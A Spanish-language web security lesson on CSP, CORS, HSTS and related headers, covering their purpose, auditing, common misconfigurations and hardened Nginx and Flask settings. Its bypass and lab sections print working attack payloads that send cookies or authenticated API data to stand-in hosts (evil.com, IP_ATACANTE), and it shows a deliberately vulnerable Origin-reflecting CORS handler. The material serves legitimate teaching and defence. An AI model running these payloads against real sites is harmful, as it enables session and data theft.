CSP, CORS y security headers: configuración correcta y bypass
· 11 min de lectura
Aprende cómo funcionan Content-Security-Policy, CORS, HSTS y otros security headers, cómo se auditan, qué errores de configuración permiten bypass de CSP y robo de datos por CORS permisivo, y cómo configurarlos correctamente.
Los navegadores modernos incluyen varios mecanismos de seguridad que el servidor activa mediante cabeceras HTTP. Content-Security-Policy le dice al navegador qué scripts puede ejecutar. Access-Control-Allow-Origin controla qué orígenes pueden leer las respuestas. Strict-Transport-Security fuerza HTTPS. X-Frame-Options impide que la página se cargue en un iframe. Cada una cierra una superficie de ataque específica.
El problema es que estas cabeceras no vienen configuradas por defecto: el servidor tiene que enviarlas. Y cuando se configuran mal, dan una falsa sensación de seguridad. Una CSP con unsafe-inline no protege contra XSS. Un CORS que refleja cualquier Origin permite robar datos desde cualquier sitio. Una HSTS sin includeSubDomains deja subdominios vulnerables a downgrade.
Es la decimocuarta lección de la Tanda 9. Verás qué hace cada cabecera de seguridad, cómo se auditan, qué errores de configuración permiten bypass y cómo configurarlas correctamente.
Practica estas técnicas solo en sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Explotar configuraciones de seguridad débiles en sitios ajenos sin permiso es un delito.
Qué son los security headers#
Son cabeceras HTTP que el servidor envía en cada respuesta para decirle al navegador cómo debe comportarse. Sin ellas, el navegador aplica sus propios valores por defecto, que suelen ser permisivos: ejecuta cualquier script, permite cualquier origen, no fuerza HTTPS y deja que la página se cargue en un iframe.

Las cabeceras no son una solución mágica: son una capa de defensa en profundidad. Una CSP bien configurada no evita un XSS en el servidor, pero impide que el payload se ejecute en el navegador. Un CORS restrictivo no evita un SSRF, pero impide que un sitio malicioso lea las respuestas de tu API con las cookies del usuario.
Content Security Policy (CSP)#
CSP es la cabecera más potente y la más compleja. Le dice al navegador exactamente qué recursos puede cargar y ejecutar:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.ejemplo.com; style-src 'self' 'unsafe-inline'; img-src *; object-src 'none'; base-uri 'self'
Directivas principales#
| Directiva | Qué controla |
|---|---|
| default-src | Política por defecto para todo lo que no tenga directiva propia |
| script-src | Scripts JavaScript |
| style-src | Hojas de estilo CSS |
| img-src | Imágenes |
| connect-src | Peticiones fetch, XHR, WebSocket |
| frame-ancestors | Quién puede embeber esta página en un iframe (reemplaza X-Frame-Options) |
| object-src | Plugins como Flash y Java applets |
| base-uri | Valores permitidos para la etiqueta base |
| form-action | Destinos permitidos para formularios |
Valores de las directivas#
'self': solo el mismo origen.'none': nada permitido.'unsafe-inline': permite scripts y estilos inline (anula gran parte de la protección contra XSS).'unsafe-eval': permiteeval(),setTimeout("código")y similares.'nonce-abc123': permite un script con el atributon. El nonce debe ser aleatorio y distinto en cada respuesta.'sha256-...': permite un script cuyo hash SHA-256 coincida.- URLs:
https://cdn.ejemplo.com,https:,data:,blob:.
Report-Only#
Antes de activar una CSP en modo enforce, usa Content-Security-Policy-Report-Only para ver qué se rompe sin bloquear nada. El navegador envía reportes JSON a una URL que indiques con report-uri o report-to.
CORS: Cross-Origin Resource Sharing#
CORS controla qué orígenes pueden leer las respuestas de tu servidor cuando la petición viene de un script en otro dominio. Sin CORS, la Same-Origin Policy del navegador bloquea estas lecturas.
El flujo funciona así:
- Un script en
evil.comhacefetch("https://api.tuapp.com/datos"). - El navegador envía la petición con la cabecera
Origin: https://evil.com. - El servidor responde con
Access-Control-Allow-Origin: https://evil.com(o no). - Si el Origin está permitido, el navegador le da la respuesta al script. Si no, la bloquea.
Peticiones preflight#
Para peticiones que no son «simples» (usan métodos como PUT/DELETE, o cabeceras personalizadas), el navegador envía primero una petición OPTIONS para preguntar si el servidor lo permite:
OPTIONS /api/datos HTTP/1.1
Host: api.tuapp.com
Origin: https://app.ejemplo.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization
El servidor responde indicando qué permite:
Access-Control-Allow-Origin: https://app.ejemplo.com
Access-Control-Allow-Methods: GET, PUT
Access-Control-Allow-Headers: Authorization
Access-Control-Max-Age: 86400
Access-Control-Allow-Credentials#
Si el servidor envía Access-Control-Allow-Credentials: true, el navegador incluye cookies y cabeceras de autenticación en las peticiones cross-origin. Esto es peligroso: si un atacante consigue que su Origin sea aceptado, puede hacer peticiones autenticadas como si fuera el usuario.
Otros headers críticos#
| Header | Qué hace | Valor recomendado |
|---|---|---|
| Strict-Transport-Security | Fuerza HTTPS durante el tiempo indicado | max-age=31536000; includeSubDomains; preload |
| X-Frame-Options | Impide que la página se cargue en un iframe | DENY o SAMEORIGIN |
| X-Content-Type-Options | Impide que el navegador adivine el Content-Type | nosniff |
| Referrer-Policy | Controla qué información se envía en la cabecera Referer | strict-origin-when-cross-origin |
| Permissions-Policy | Desactiva APIs del navegador que no uses | camera=(), microph geolocation=() |
HSTS (Strict-Transport-Security)#
Sin HSTS, un atacante en la misma red puede interceptar la primera petición HTTP (antes de la redirección a HTTPS) y hacer un downgrade del protocolo (ataque SSL stripping). Con HSTS, el navegador recuerda que ese dominio solo acepta HTTPS y nunca envía una petición HTTP.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
El preload permite incluir el dominio en la lista hardcoded de los navegadores, protegiendo incluso la primera visita.
Cómo se auditan#
Pruebas manuales#
# Ver todas las cabeceras de respuesta
curl -sI https://ejemplo.com
# Buscar cabeceras de seguridad específicas
curl -sI https://ejemplo.com | grep -iE "content-security|x-frame|strict-transport|x-content-type|referrer-policy|permissions-policy|access-control"
| Qué revisar | Qué buscas | Riesgo si falta |
|---|---|---|
| CSP presente | Content-Security-Policy en la respuesta | XSS más fácil de explotar |
| CSP sin unsafe-inline | script-src sin unsafe-inline | XSS inline funciona |
| CORS restrictivo | ACAO no refleja cualquier Origin | Robo de datos cross-origin |
| HSTS presente | Strict-Transport-Security con max-age alto | Downgrade a HTTP |
| X-Frame-Options | DENY o SAMEORIGIN | Clickjacking |
| nosniff | X-Content-Type-Options: nosniff | MIME sniffing |
Herramientas online#
- securityheaders.com: analiza las cabeceras de un dominio y da una calificación de la A a la F.
- Mozilla Observatory: similar, con más detalle sobre cada cabecera.
- CSP Evaluator (de Google): analiza una CSP y señala debilidades específicas.
- DevTools del navegador: la pestaña Console muestra errores de CSP cuando un recurso es bloqueado.
Bypass de CSP#
Una CSP mal configurada puede parecer segura pero tener agujeros:
unsafe-inline#
Content-Security-Policy: script-src 'self' 'unsafe-inline'
Con unsafe-inline, cualquier XSS que inyecte un script inline funciona. La CSP no sirve para nada en ese caso:
<script>document.location='https://evil.com/?c='+document.cookie</script>
CDN con JSONP#
Si la CSP permite un CDN que tiene un endpoint JSONP, el atacante puede usar ese endpoint para ejecutar código:
Content-Security-Policy: script-src 'self' https://cdn.ejemplo.com
Si cdn.ejemplo.com tiene un endpoint JSONP que refleja el callback:
<script src="https://cdn.ejemplo.com/jsonp?callback=alert(1)//"></script>
base-uri sin restricción#
Si la CSP no incluye base-uri, el atacante puede inyectar una etiqueta base que cambie la base de las URLs relativas de los scripts:
<base href="https://evil.com/">
Todos los scripts que usen rutas relativas (como src="/app.js") se cargarán desde evil.com.
Nonce reutilizado#
Si el nonce de la CSP no cambia en cada respuesta, un atacante que lo conozca puede inyectar scripts con el nonce válido. El nonce debe ser criptográficamente aleatorio y de un solo uso.
Wildcard en script-src#
Una CSP con script-src * o script-src https: permite cargar scripts desde cualquier dominio HTTPS. El atacante solo necesita subir un archivo JavaScript a cualquier CDN o hosting y cargarlo en la página víctima. Es equivalente a no tener CSP para scripts.
data: y blob:#
Si script-src incluye data:, el atacante puede inyectar scripts con URIs de tipo data:text/javascript,alert(1). Lo mismo aplica a blob:. Ambas directivas deben evitarse en script-src.
Errores de configuración CORS#
Reflejar cualquier Origin#
@app.after_request
def add_cors(response):
origin = request.headers.get("Origin")
response.headers["Access-Control-Allow-Origin"] = origin # MAL: refleja lo que sea
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
Esto permite que cualquier sitio haga peticiones autenticadas a la API y lea las respuestas. Un atacante en evil.com puede robar los datos del usuario.
Aceptar null Origin#
Algunos servidores aceptan Origin: null, que el navegador envía desde páginas locales, iframes sandbox y redirecciones. Un atacante puede forzar un Origin: null desde un iframe:
<iframe sandbox="allow-scripts" src="data:text/html,<script>fetch('https://api.victima.com/datos',{credentials:'include'}).then(r=>r.text()).then(d=>new Image().src='https://evil.com/?d='+d)</script>"></iframe>
Wildcard con credentials#
La especificación CORS prohíbe Access-Control-Allow-Origin: * con Access-Control-Allow-Credentials: true. Pero algunos servidores o proxies mal configurados lo permiten o lo traducen a reflejar el Origin.
Explotación paso a paso en un laboratorio#
Escenario típico similar a los laboratorios GUESTBOOK y PROXY.
Paso 1: auditar las cabeceras#
curl -sI http://IP_DEL_LAB/ | grep -iE "content-security|access-control|x-frame|strict"
Observa qué cabeceras faltan y cuáles están mal configuradas.
Paso 2: probar CORS permisivo#
Envía una petición con un Origin arbitrario:
curl -s -H "Origin: https://evil.com" http://IP_DEL_LAB/api/perfil -c cookies.txt -b cookies.txt -D -
Si la respuesta incluye Access-Control-Allow-Origin: https://evil.com y Access-Control-Allow-Credentials: true, el CORS es vulnerable.
Paso 3: explotar el CORS#
Crea una página HTML en tu servidor de ataque:
<script>
fetch('http://IP_DEL_LAB/api/perfil', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('http://IP_ATACANTE:8000/steal?data=' + btoa(JSON.stringify(d))));
</script>
Si una víctima con sesión activa visita esa página, sus datos se envían a tu servidor.
Paso 4: identificar bypass de CSP#
Si la aplicación tiene una CSP con unsafe-inline, cualquier XSS inyectado funciona directamente. Si usa un nonce pero lo reutiliza, inspecciona varias respuestas para confirmar que el nonce es estático.
Qué puede lograr un atacante#
| Impacto | Escenario |
|---|---|
| Robo de datos autenticados | CORS permisivo permite leer la API con las cookies del usuario |
| XSS efectivo | CSP débil o ausente permite ejecutar scripts inyectados |
| Clickjacking | Sin X-Frame-Options, la página se carga en un iframe oculto |
| Downgrade a HTTP | Sin HSTS, un atacante en la red hace SSL stripping |
| Session hijacking | XSS + falta de CSP permite robar cookies de sesión |
| Phishing por iframe | Sin frame-ancestors, la página se embebe en un sitio falso |
Cómo se configura correctamente#

CSP estricta con nonces#
Content-Security-Policy: default-src 'none'; script-src 'nonce-RANDOM123'; style-src 'self'; img-src 'self' https://cdn.ejemplo.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'
El nonce debe ser criptográficamente aleatorio (al menos 128 bits), distinto en cada respuesta, y cada script legítimo debe incluirlo.
CORS restrictivo#
ORIGENES_PERMITIDOS = {"https://app.ejemplo.com", "https://admin.ejemplo.com"}
@app.after_request
def add_cors(response):
origin = request.headers.get("Origin")
if origin in ORIGENES_PERMITIDOS:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
Configuración completa en Nginx#
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
Errores comunes al defenderse#
- Poner CSP con unsafe-inline «porque es más fácil». Anula la protección contra XSS, que es el principal objetivo de CSP.
- Reflejar el Origin en CORS sin validar. Usar una lista blanca explícita de orígenes, nunca reflejar lo que llegue.
- Olvidar includeSubDomains en HSTS. Sin él, los subdominios siguen siendo vulnerables a SSL stripping.
- Configurar CSP solo en la página principal. Cada respuesta debe incluir la CSP, incluyendo APIs, páginas de error y redirecciones.
- No monitorizar los reportes de CSP. Los reportes muestran tanto intentos de ataque como scripts legítimos que faltan en la política.
- Usar X-Frame-Options ALLOW-FROM. No todos los navegadores lo soportan; usa
frame-ancestorsen CSP.
Preguntas frecuentes#
¿CSP elimina completamente el riesgo de XSS?#
No. CSP es una capa de defensa en profundidad. Si un atacante encuentra un bypass (CDN con JSONP, nonce reutilizado, base-uri sin restricción), el XSS puede ejecutarse. La CSP reduce enormemente la superficie, pero la validación de entrada y la codificación de salida siguen siendo la defensa principal.
¿Qué pasa si mi aplicación necesita estilos inline?#
Puedes usar style-src 'unsafe-inline' para estilos (el riesgo es mucho menor que en scripts) o, mejor, usa nonces o hashes para los estilos específicos que necesitas. El riesgo principal de unsafe-inline está en script-src.
¿CORS protege contra CSRF?#
No directamente. CORS controla si el navegador deja leer la respuesta, no si la petición se envía. Una petición POST simple se envía aunque el CORS la bloquee (solo la respuesta no se lee). Para proteger contra CSRF, usa tokens anti-CSRF.
¿Cómo sé si mi CSP es buena?#
Usa CSP Evaluator de Google. Introduce tu política y te dice si tiene debilidades conocidas. Una CSP que pase sin warnings en CSP Evaluator es un buen punto de partida.
¿Puedo usar security headers sin cambiar el código?#
Sí. La mayoría se configuran en el servidor web (Nginx, Apache, Caddy) o en el CDN/reverse proxy, sin tocar la aplicación. Solo la CSP con nonces requiere que la aplicación genere el nonce y lo incluya en los scripts.
Resumen#
- CSP controla qué scripts, estilos e imágenes puede cargar el navegador. Sin
unsafe-inliney con nonces aleatorios, bloquea la mayoría de los XSS. - CORS controla qué orígenes pueden leer las respuestas de tu API. Reflejar cualquier Origin con credentials permite robo de datos autenticados.
- HSTS fuerza HTTPS y previene SSL stripping. Incluye siempre
includeSubDomainsypreload. - Otros headers como X-Frame-Options, X-Content-Type-Options y Referrer-Policy cierran superficies de ataque específicas.
- Una CSP con
unsafe-inline, un CORS que refleja el Origin y la ausencia de HSTS son los tres errores más comunes en auditorías.